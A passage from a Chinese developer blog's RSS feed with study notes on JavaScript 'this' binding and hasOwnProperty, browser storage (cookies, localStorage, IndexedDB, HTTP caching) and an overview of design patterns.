</span></span></code></pre></div></li>
</ul>
<h3 id="作用">作用</h3>
<ul>
<li>防止原型链污染</li>
<li>示例:
<ul>
<li>JavaScript does not protect the property name hasOwnProperty; an object that has a property with this name may return incorrect results</li>
<li>The recommended way to overcome this problem is to instead use Object.hasOwn() (in browsers that support it). Other alternatives include using an external hasOwnProperty:</li>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">foo</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">bar</span><span class="o">:</span> <span class="s2">&#34;Here be dragons&#34;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Use Object.hasOwn() method - recommended
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nb">Object</span><span class="p">.</span><span class="nx">hasOwn</span><span class="p">(</span><span class="nx">foo</span><span class="p">,</span> <span class="s2">&#34;bar&#34;</span><span class="p">);</span> <span class="c1">// true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">// Use the hasOwnProperty property from the Object prototype
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">hasOwnProperty</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">foo</span><span class="p">,</span> <span class="s2">&#34;bar&#34;</span><span class="p">);</span> <span class="c1">// true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">// Use another Object&#39;s hasOwnProperty
</span></span></span><span class="line"><span class="cl"><span class="c1">// and call it with &#39;this&#39; set to foo
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">({}).</span><span class="nx">hasOwnProperty</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">foo</span><span class="p">,</span> <span class="s2">&#34;bar&#34;</span><span class="p">);</span> <span class="c1">// true
</span></span></span></code></pre></div></li>
</ul>
</li>
</ul>
<hr>
<h2 id="代码输出题">代码输出题</h2>
<h3 id="题目一">题目一</h3>
<ul>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;eu&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">sayHi1</span><span class="o">:</span> <span class="p">()=&gt;{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nx">sayHi2</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="p">(()=&gt;{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">})();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">obj</span><span class="p">.</span><span class="nx">sayHi1</span><span class="p">();</span> <span class="c1">// &#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">obj</span><span class="p">.</span><span class="nx">sayHi2</span><span class="p">();</span> <span class="c1">// &#39;eu&#39;
</span></span></span></code></pre></div></li>
<li>解释：
<ol>
<li><code>obj.sayHi1()</code> 的执行
<ul>
<li>
<p>考察知识点一:  <strong>箭头函数中的 <code>this</code></strong>：
箭头函数不会创建自己的 <code>this</code> 绑定，它会继承上下文中的 <code>this</code>。也就是说，<code>this</code> 的值取决于箭头函数定义时所在的上下文，而不是调用时的上下文。</p>
</li>
<li>
<p>本题中的应用:
在 <code>sayHi1</code> 方法中，箭头函数被定义在 <code>obj</code> 对象的上下文中，但是由于箭头函数继承的是定义时的 <code>this</code>，而不是调用时的 <code>this</code>，<code>this</code> 将会是<strong>全局上下文</strong>（在严格模式下为 <code>undefined</code>，在非严格模式下为 <code>window</code>）。</p>
<p>因为 <code>this</code> 不是指向 <code>obj</code>，而是指向全局对象，<code>this.name</code> 在全局对象中是未定义的，可能返回 <code>undefined</code> 或空字符串 <code>''</code>，具体取决于运行环境。</p>
</li>
</ul>
</li>
<li><code>obj.sayHi2()</code> 的执行
<ul>
<li>考察知识点一: 简写函数定义
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">sayHi2</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;hi&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 相当于
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">sayHi2</span><span class="o">:</span> <span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;hi&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>考察知识点二: 普通方法中的 <code>this</code>会根据调用的上下文来决定</li>
<li>本题中的应用
<code>sayHi2</code> 是一个普通方法，因此 <code>this</code> 会根据调用的上下文来决定。在这个例子中，<code>obj.sayHi2()</code> 是调用 <code>sayHi2</code>，所以 <code>this</code> 指向 <code>obj</code>。</li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/82340026"  target="_blank" rel="noopener" >彻底弄懂bind，apply，call三者的区别 - 知乎</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"  target="_blank" rel="noopener" >Object.prototype.hasOwnProperty() - JavaScript | MDN</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>浏览器存储</title>
      <link>https://ds63.eu.org/2024/browser_storage/</link>
      <pubDate>Wed, 09 Oct 2024 23:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/browser_storage/</guid>
      <description>自己学习过程中整理的关于浏览器存储的知识点</description>
      <content:encoded><![CDATA[<h2 id="cookie">Cookie</h2>
<h3 id="概述">概述</h3>
<h3 id="2024年10月13日">2024年10月13日</h3>
<ul>
<li>Cookie是最古老和最基本的客户端存储机制之一。</li>
<li>Cookie是由服务器发送到用户浏览器的小型文本文件，存储在用户的计算机上。</li>
<li>Cookie是基于域的，不区分协议</li>
<li>每次发送HTTP请求时，浏览器都会将相应的Cookie发送回服务器。</li>
<li>Cookie通常用于存储用户偏好设置、跟踪用户行为等信息。</li>
</ul>
<h3 id="限制">限制</h3>
<ul>
<li>格式: <code>name=value</code>, name和value都应该使用内建的 encodeURIComponent 函数对其进行转义</li>
<li>大小: encodeURIComponent 编码后的 name=value 对，大小不能超过 4KB</li>
<li>数量: 每个域的 cookie 总数在20到50左右，具体限制取决于浏览器。</li>
<li>可以通过设置Cookie的过期时间来控制Cookie的生命周期。</li>
</ul>
<h3 id="安全性">安全性</h3>
<ul>
<li><code>path=/mypath</code>:
<ul>
<li>该路径下的页面可以访问该 cookie</li>
<li>默认为当前路径</li>
</ul>
</li>
<li><code>domain=site.com</code>:
<ul>
<li>控制可访问 cookie 的域</li>
<li>默认(也就是不设置的话),不会共享给子域</li>
<li>只有明确地将 domain 选项设置为根域，子域才能访问
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 在 site.com
</span></span></span><span class="line"><span class="cl"><span class="c1">// 使 cookie 可以被在任何子域 *.site.com 访问：
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">=</span> <span class="s2">&#34;user=John; domain=site.com&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 之后
</span></span></span><span class="line"><span class="cl"><span class="c1">// 在 forum.site.com
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">alert</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">);</span> <span class="c1">// 有 cookie user=John
</span></span></span></code></pre></div></li>
</ul>
</li>
<li><code>expires</code>, <code>max-age</code>
<ul>
<li>如果没有设置这两个参数都没有设置，那么在关闭浏览器之后会消失，也就是<code>session cookie</code></li>
<li><code>expires</code> 要求使用 GMT 时区的这种格式
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 当前时间 +1 天
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">date</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">(</span><span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span> <span class="o">+</span> <span class="mf">86400e3</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">date</span> <span class="o">=</span> <span class="nx">date</span><span class="p">.</span><span class="nx">toUTCString</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">=</span> <span class="s2">&#34;user=John; expires=&#34;</span> <span class="o">+</span> <span class="nx">date</span><span class="p">;</span>
</span></span></code></pre></div></li>
<li><code>max-age</code>: 单位为秒</li>
</ul>
</li>
<li><code>secure</code>
<ul>
<li>表示该cookie只能通过HTTPS传输</li>
</ul>
</li>
<li><code>samesite</code>
<ol>
<li><code>strict</code></li>
</ol>
<ul>
<li>默认</li>
<li>如果用户来自同一网站之外，那么设置了 samesite=strict 的 cookie 永远不会被发送</li>
</ul>
<ol start="2">
<li><code>lax</code></li>
</ol>
<ul>
<li>和 strict 模式类似，当从外部来到网站，则禁止浏览器发送 cookie，除非满足两个条件
<ol>
<li>HTTP 方法是“安全的”（例如 GET 方法，而不是 POST）。</li>
<li>该操作执行顶级导航（更改浏览器地址栏中的 URL）。</li>
</ol>
</li>
<li>缺点：会被到 2017 年左右的旧版本浏览器忽略（不兼容）</li>
</ul>
</li>
<li><code>httpOnly</code>
<ul>
<li>Web服务器使用 Set-Cookie header 来设置 cookie时，可以设置 httpOnly 选项</li>
<li>禁止任何 JavaScript 访问 cookie</li>
</ul>
</li>
</ul>
<h3 id="第三方cookie">第三方cookie</h3>
<ul>
<li>如果 cookie 是由用户所访问的页面的域以外的域放置的，则称其为第三方 cookie。</li>
<li>通常用于跟踪和广告服务。它们被绑定在原始域上，因此第三方网站可以在不同网站之间跟踪同一用户，如果这些网站都可以访问该第三方网站的话</li>
</ul>
<h3 id="gdpr">GDPR</h3>
<ul>
<li>欧洲有一项名为 GDPR 的立法，该法规针对网站尊重用户实施了一系列规则。其中之一就是需要明确的许可才可以跟踪用户的 cookie。</li>
<li>如果我们要设置带有身份验证会话（session）或跟踪 id 的 cookie，那么必须得到用户的允许。</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://zh.javascript.info/cookie#samesite"  target="_blank" rel="noopener" >Cookie，document.cookie</a></li>
<li><a href="https://juejin.cn/post/7320528982386163775"  target="_blank" rel="noopener" >Chrome禁用三方Cookie：前端必知的影响 - 掘金</a></li>
</ul>
<hr>
<h2 id="sessionstorage和localstorage">sessionStorage和localStorage</h2>
<h3 id="sessionstorage">sessionStorage</h3>
<ul>
<li>sessionStorage是HTML5引入的Web存储机制之一，用于在浏览器中临时存储会话数据。</li>
<li>sessionStorage中存储的数据仅在当前会话期间有效，<strong>当用户关闭浏览器标签页或窗口时会被清除</strong>。</li>
<li>sessionStorage中存储的数据仅限于当前页面或同源页面之间共享，不同页面之间的sessionStorage数据不会共享。</li>
</ul>
<h3 id="localstorage">localStorage</h3>
<ul>
<li>localStorage也是HTML5引入的Web存储机制之一，用于在浏览器中持久存储数据。</li>
<li>localStorage中存储的数据在用户关闭浏览器后<strong>仍然保留</strong>，直到用户显式删除它们。</li>
<li>localStorage中存储的数据也只限于同源页面之间共享，不同源页面之间的localStorage数据不会共享。</li>
<li>存满了会报错: <code>QuotaExceededError</code></li>
</ul>
<h3 id="对比">对比</h3>
<ul>
<li><strong>生命周期</strong>：
<ol>
<li>Cookie可以通过设置过期时间来控制生命周期</li>
<li>sessionStorage的数据仅在当前会话期间有效</li>
<li>localStorage的数据则在浏览器关闭后仍然保留。</li>
</ol>
</li>
<li><strong>数据共享</strong>：
<ol>
<li>Cookie的数据则在同源或跨域请求中都会发送到服务器端。</li>
<li>sessionStorage: 多窗口之间sessionStorage不可以共享状态,但是在某些特定场景下新开的页面会复制之前页面的sessionStorage</li>
<li>localStorage的数据在<strong>同源页面之间</strong>共享</li>
</ol>
</li>
<li><strong>存储容量</strong>：
<ul>
<li>Cookie相对较小(几kb)</li>
<li>sessionStorage和localStorage通常具有更大的存储容量限制(几兆)</li>
</ul>
</li>
</ul>
<h3 id="storage-event">storage event</h3>
<ul>
<li>
<p>不会冒泡</p>
</li>
<li>
<p>The storage event of the Window interface fires when a storage area (localStorage or sessionStorage) has been modified in the context of another document.</p>
</li>
<li>
<p>A way for other browsing contexts on the domain using the storage to sync any changes that are made.</p>
</li>
<li>
<p>Event properties</p>
<ol>
<li>key</li>
<li>newValue</li>
<li>oldValue</li>
<li>storageArea</li>
<li>url</li>
</ol>
</li>
<li>
<p>示例</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;storage&#34;</span><span class="p">,</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// When local storage changes, dump the list to
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// the console.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="s2">&#34;sampleList&#34;</span><span class="p">)));</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div></li>
<li>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/storage_event"  target="_blank" rel="noopener" >Window: storage event - Web APIs | MDN</a></p>
</li>
</ul>
<h3 id="延伸">延伸</h3>
<ul>
<li>use localStorage to maintain state across windows
<ul>
<li><a href="https://github.com/bgstaal/multipleWindow3dScene"  target="_blank" rel="noopener" >bgstaal/multipleWindow3dScene: A quick example of how one can &ldquo;synchronize&rdquo; a 3d scene across multiple windows using three.js and localStorage</a></li>
</ul>
</li>
<li>使用sessionStorage和localStorage来存储jwt
<ul>
<li><a href="https://github.com/EuDs63/BookRecommend_Front"  target="_blank" rel="noopener" >EuDs63/BookRecommend_Front: 图书推荐系统</a></li>
</ul>
</li>
<li>localStorage 存满了再往里写会发生什么？
<ul>
<li>存不进去并报错（QuotaExceededError）</li>
<li><a href="https://www.cnblogs.com/kidney/p/9058352.html"  target="_blank" rel="noopener" >localSto存不进去并报错（QuotaExceededError）rage 存满了怎么办？ - {Bison} - 博客园</a></li>
</ul>
</li>
</ul>
<h3 id="参考-1">参考：</h3>
<ul>
<li><a href="https://www.explainthis.io/zh-hans/swe/cookie-sessionstorage-localstorage-difference"  target="_blank" rel="noopener" >请描述 cookie, sessionStorage 和 localStorage 的差异｜ExplainThis</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Window/sessionStorage"  target="_blank" rel="noopener" >Window.sessionStorage - Web API 接口参考 | MDN</a></li>
<li><a href="https://juejin.cn/post/7076767687828832286"  target="_blank" rel="noopener" >面试官：你确定多窗口之间sessionStorage不能共享状态吗？？？🤔 - 掘金</a></li>
</ul>
<hr>
<h2 id="indexeddb">IndexedDB</h2>
<h3 id="概念">概念</h3>
<ul>
<li>浏览器中的数据库</li>
</ul>
<h3 id="用户能修改吗">用户能修改吗？</h3>
<ul>
<li>答: Chrome浏览器并没有提供给用户直接修改的方式,但肯定能改。</li>
<li>存储的位置位于(win11系统): <code>c:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\</code></li>
<li>每个“源”有两个文件夹，类似于
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">http_localhost_3001.indexeddb.blob
</span></span><span class="line"><span class="cl">http_localhost_3001.indexeddb.leveldb
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https_www.bilibili.com_0.indexeddb.blob
</span></span><span class="line"><span class="cl">https_www.bilibili.com_0.indexeddb.leveldb
</span></span></code></pre></div>ps: 看到这就很好理解同源的要求了</li>
<li>被加密了，但还是不推荐存储任何服务端敏感的内容于用户端</li>
<li><a href="https://learn.microsoft.com/en-us/microsoft-edge/devtools-guide-chromium/storage/indexeddb#edit-indexeddb-data-by-using-the-console-tool"  target="_blank" rel="noopener" >Edit IndexedDB data by using the Console tool - Microsoft Edge Developer documentation | Microsoft Learn</a></li>
</ul>
<h3 id="优化">优化</h3>
<ul>
<li>思路来自<a href="https://x.com/wsygc/status/1834835198334394667"  target="_blank" rel="noopener" >Tristan on X</a></li>
</ul>
<blockquote>
<p>虽然indexDB可以当数据库存很多图片（blob），但随着用户使用的时间变长，本地存放的图会越来越多，其实大部分是不会再用到的，数据一多，读取效率会打折扣，所以做了个FIFO存储队列，最多存50张。</p>
</blockquote>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IndexedDB_API"  target="_blank" rel="noopener" >IndexedDB - Web API 接口参考 | MDN</a></li>
<li><a href="https://zh.javascript.info/indexeddb"  target="_blank" rel="noopener" >IndexedDB</a></li>
<li><a href="https://stackoverflow.com/questions/33983979/edit-data-in-indexeddb-by-the-user"  target="_blank" rel="noopener" >Edit data in IndexedDB by the user - Stack Overflow</a></li>
<li><a href="https://learn.microsoft.com/en-us/microsoft-edge/devtools-guide-chromium/storage/indexeddb"  target="_blank" rel="noopener" >View and change IndexedDB data - Microsoft Edge Developer documentation | Microsoft Learn</a></li>
</ul>
<hr>
<h2 id="cachestorage">CacheStorage</h2>
<ul>
<li>This feature is available in Web Workers.</li>
</ul>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage"  target="_blank" rel="noopener" >CacheStorage - Web APIs | MDN</a></li>
</ul>
<hr>
<h2 id="浏览器缓存">浏览器缓存</h2>
<h3 id="定义">定义</h3>
<blockquote>
<p>当我们访问一个网站时，会加载各种资源，如 HTML文档、JS、CSS、图片等。浏览器会将一些不经常变的资源保存在本地，这样下次访问相同网站时，就直接从本地加载资源，并不通过请求服务器，这就是浏览器缓存</p>
</blockquote>
<h3 id="分类">分类</h3>
<ul>
<li>
<p><strong>根据位置分类</strong></p>
<ul>
<li>memory cache:主要用来缓存有 preloader 相关指令的资源;关闭tab页后就释放</li>
<li>disk cache</li>
</ul>
</li>
<li>
<p><strong>根据是否需要和服务器进行通信分类</strong></p>
<ul>
<li>强缓存
<ul>
<li>不会向服务器发送请求，直接从缓存中读取资源</li>
<li>通过<code>Expires</code>和<code>Cache-Control</code>来实现的</li>
</ul>
</li>
<li>协商缓存
<ul>
<li>在强缓存失效后，浏览器携带缓存标识向服务器发起请求，由服务器根据缓存标识来决定是否使用缓存</li>
<li>利用的是<code>Last-Modified</code>,<code>If-Modified-Since</code>和<code>ETag</code>,<code>If-None-Match</code>这两对Header来管理</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="response-header中的相关属性">Response Header中的相关属性</h3>
<ol>
<li><code>Expires</code></li>
</ol>
<ul>
<li>HTTP/1</li>
</ul>
<ol start="2">
<li><code>Last-Modified</code> / <code>If-Modified-Since</code></li>
</ol>
<ul>
<li>HTTP/1</li>
<li>流程
<ol>
<li>浏览器第一次访问资源，<strong>服务器</strong>会 Response Header 里添加 Last-Modified 的值</li>
<li>浏览器在下一次请求这个资源的时候，检测到有<code>Last-Modified</code>这个 Header。<strong>浏览器</strong>就会在Request中加上 <code>If-Modified-Since</code>，<code>If-Modified-Since</code>的值就是 Last-Modified 的值</li>
<li>服务器收到请求后，如果资源没有修改，服务器返回 304 Not Modified 状态码，并且不包含资源的内容。浏览器此时会使用本地缓存中的资源。</li>
<li>如果资源发生了修改，服务器会返回新的资源内容和更新后的 Last-Modified。</li>
</ol>
</li>
</ul>
<ol start="3">
<li><code>Cache-Control</code></li>
</ol>
<ul>
<li>HTTP/1.1</li>
<li>优先级比 Expires 要高</li>
<li>可选值
<ul>
<li>public</li>
<li>private</li>
<li>no-store: 完全禁用缓存，资源不会存储在缓存中。</li>
<li>no-cache: 告诉浏览器要使用缓存文件，但是每次需要跟服务器确认是最新文件以后才能用，一般使用 Etag 或者 Last-Modified 字段来控制缓存</li>
<li>max-age=60</li>
</ul>
</li>
</ul>
<ol start="4">
<li><code>ETag</code> / <code>If-None-Match</code></li>
</ol>
<ul>
<li>HTTP/1.1</li>
<li>ETag由服务器生成,三种方式：基于内容 / 基于版本 / 自定义生成</li>
<li>浏览器在下一次加载资源向服务器发送请求时，会将上一次返回的<code>Etag</code>值放到request header里的<code>If-None-Match</code>里</li>
<li>ETag 的优先级要高于 Last-Modified</li>
<li>解决了<code>Last-Modified</code>的如下问题
<ol>
<li>某些服务器不能精确得到文件的最后修改时间， 这样就无法通过最后修改时间来判断文件是否更新了。</li>
<li>某些文件的修改非常频繁，在秒以下的时间内进行修改. Last-Modified只能精确到秒。</li>
<li>一些文件的最后修改时间改变了，但是内容并未改变。 我们不希望客户端认为这个文件修改了。</li>
</ol>
</li>
</ul>
<h3 id="如何禁用缓存如何使缓存失效">如何禁用缓存(如何使缓存失效)</h3>
<ul>
<li>场景一: 发版，要求无视缓存
<ul>
<li>每次对应静态文件里有内容改动的时候，自动加一段 hash 到静态文件名里</li>
</ul>
</li>
<li>场景二: 用户自己想要刷新
<ul>
<li>F5 刷新: 因浏览器而异</li>
<li>Ctrl + F5 强制刷新的时候，会暂时禁用强缓存和协商缓存</li>
</ul>
</li>
</ul>
<h3 id="后端配置">后端配置</h3>
<ul>
<li><code>setHeader</code>之类</li>
<li>Nginx 配置</li>
</ul>
<h3 id="参考-4">参考</h3>
<ul>
<li><a href="https://limeii.github.io/2018/11/web-cache/"  target="_blank" rel="noopener" >浏览器缓存机制：强缓存和协商缓存</a></li>
<li><a href="https://segmentfault.com/a/1190000021661656"  target="_blank" rel="noopener" >前端 - 浏览器的强缓存和协商缓存 - yiliang.share - SegmentFault 思否</a></li>
<li><a href="https://lewinblog.com/blog/page/2022/221007-http-headers-cache-control.md"  target="_blank" rel="noopener" >HTTP缓存控制: Cache-Control - Lewin&rsquo;s Blog</a></li>
</ul>
<hr>
<h2 id="其他缓存">其他缓存</h2>
<h3 id="memory-cache内存缓存">Memory Cache（内存缓存）</h3>
<ul>
<li><strong>特点</strong>：缓存存储在浏览器的内存中，主要用于存储从网络请求获取的资源（如 HTML、CSS、JavaScript 和图片）。这种缓存生命周期短，只在当前页面会话中有效，页面刷新或关闭后缓存会被清除。</li>
<li><strong>用途</strong>：用于快速重用同一页面内的资源，提升页面加载速度。</li>
<li><strong>存储时间</strong>：通常在页面刷新或关闭后即清除。</li>
<li><strong>优点</strong>：速度最快，适用于瞬时的页面资源重用。</li>
</ul>
<h3 id="push-cache">Push Cache</h3>
<ul>
<li><strong>特点</strong>: 在用户并未明确请求某些资源的情况下，提前将这些资源推送到用户的缓存中。</li>
<li><strong>用途</strong>: 在用户即将需要某些资源时，提前发送这些资源，这样在用户实际请求时，可以直接从缓存中获取，而无需再次请求服务器。</li>
</ul>
<h3 id="application-cacheappcache">Application Cache（AppCache）</h3>
<ul>
<li><strong>特点</strong>：这是 HTML5 中引入的离线缓存机制，允许开发者为 web 应用创建一个离线模式，用户即使断网也能访问缓存的内容。然而，由于 AppCache 有不少缺陷和安全隐患，已被弃用。</li>
<li><strong>用途</strong>：过去用于创建离线 web 应用，但目前已被 <code>Service Worker</code> 取代。</li>
<li><strong>状态</strong>：AppCache 从 HTML 5.1 开始废弃，现在大多数浏览器都不再支持。</li>
</ul>
<h3 id="websql">WebSQL</h3>
<ul>
<li><strong>特点</strong>：WebSQL 是一种基于 SQL 的数据库，最初用于在浏览器中存储结构化数据。然而由于其标准化进程停止，WebSQL 不再是主流推荐的方案。</li>
<li><strong>用途</strong>：在浏览器中进行 SQL 查询和存储结构化数据，类似 <code>IndexedDB</code> 的早期版本。</li>
<li><strong>状态</strong>：已被 <code>IndexedDB</code> 取代。</li>
</ul>
<h3 id="web-storage-cache-api">Web Storage Cache API</h3>
<ul>
<li><strong>特点</strong>：缓存 API 是 <code>Service Worker</code> 的一部分，允许在浏览器中存储 <code>Request</code> 和 <code>Response</code> 对象，常用于离线缓存。与普通缓存机制不同，开发者可以精确控制缓存的资源，并且缓存的内容可以在离线时访问。</li>
<li><strong>用途</strong>：用于离线支持、缓存管理、动态内容缓存，通常与 <code>Service Worker</code> 配合使用。</li>
<li><strong>优点</strong>：可控性更强，适用于现代 PWA（渐进式 Web 应用）的缓存策略。</li>
</ul>
<h3 id="manifest-storage">Manifest Storage</h3>
<ul>
<li><strong>特点</strong>：一种较新的 API（如 Web App Manifest），允许开发者为应用程序提供缓存策略和应用图标等元数据，常用于渐进式 Web 应用（PWA）。</li>
<li><strong>用途</strong>：存储应用元数据，定义应用行为（如是否作为全屏应用、离线模式等）。</li>
</ul>
<h3 id="file-system-access-api">File System Access API</h3>
<ul>
<li><strong>特点</strong>：允许 Web 应用访问用户的文件系统，可以直接读写文件。通过这个 API，Web 应用可以处理用户计算机上的文件，实现类似桌面应用的体验。</li>
<li><strong>用途</strong>：用户可以在不离开浏览器的情况下，直接从文件系统中读取、修改和保存文件。</li>
<li><strong>状态</strong>：这是一个较新的 API，仍在部分浏览器中实现，安全性要求较高。</li>
</ul>
<hr>
<h2 id="参考-5">参考</h2>
<ul>
<li><a href="http://blog.fantasy.codes/front-end/2016/08/23/dive-into-browser-storage/"  target="_blank" rel="noopener" >探索浏览器端的存储方式</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>设计模式学习笔记</title>
      <link>https://ds63.eu.org/2024/learn-design-patterns/</link>
      <pubDate>Tue, 08 Oct 2024 19:51:22 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/learn-design-patterns/</guid>
      <description>无招胜有招</description>
      <content:encoded><![CDATA[<h2 id="列举">列举</h2>
<h3 id="创建型">创建型</h3>
<ul>
<li>要点
<ul>
<li>提供创建对象的机制， 能够提升已有代码的灵活性和可复用性。</li>
</ul>
</li>
<li>工厂方法</li>
<li>抽象工厂</li>
<li>生成器</li>
<li>原型</li>
<li>单例</li>
</ul>
<h3 id="结构型">结构型</h3>
<ul>
<li>要点
<ul>
<li>考虑的是对象的组成和对象之间的关系,假如对象发生了重大改变,对当前对象操作影响降至最低</li>
<li>将对象和类组装成较大的结构， 并同时保持结构的灵活和高效。</li>
</ul>
</li>
<li>适配器模式</li>
<li>桥接模式</li>
<li>组合</li>
<li>装饰器模式</li>
<li>外观模式</li>
<li>享元模式</li>
<li>代理模式</li>
</ul>
<h3 id="行为型">行为型</h3>
<ul>
<li>要点
<ul>
<li>关注的是对象之间的依赖关系以及通信</li>
<li>负责对象间的高效沟通和职责委派。</li>
</ul>
</li>
<li>责任链</li>
<li>命令</li>
<li>迭代器</li>
<li>中介者</li>
<li>备忘录</li>
<li>观察者</li>
<li>状态</li>
<li>策略</li>
<li>模板方法</li>
<li>访问者</li>
</ul>
<h3 id="前端常用">前端常用</h3>
<ol>
<li>单例模式</li>
<li>观察者模式(发布订阅模式)
<ul>
<li>redux</li>
</ul>
</li>
<li>命令模式
<ul>
<li>s3</li>
</ul>
</li>
<li>策略模式
<ul>
<li>大幅度减少多重条件下的判断</li>
</ul>
</li>
</ol>
<h3 id="有助于提高系统的可拓展性">有助于提高系统的可拓展性</h3>
<ul>
<li>工厂模式</li>
<li>抽象工厂模式</li>
<li>观察者模式: 观察者很容易增加</li>
<li>适配器模式: 适配新的接口</li>
<li>代理模式: 在原来的功能上增加新功能或逻辑</li>
<li>责任链模式: 通过新增拦截器/过滤器来实现对数据的处理</li>
<li>策略模式: 新增策略</li>
</ul>
<hr>
<h2 id="发布订阅">发布订阅</h2>
<h3 id="定义">定义</h3>
<ul>
<li>发布-订阅模式其实是一种对象间一对多的依赖关系。</li>
<li>当一个对象的状态发送改变时，所有依赖于它的对象都将得到状态改变的通知。</li>
<li>三个角色(订阅者，调度中心，发布者)</li>
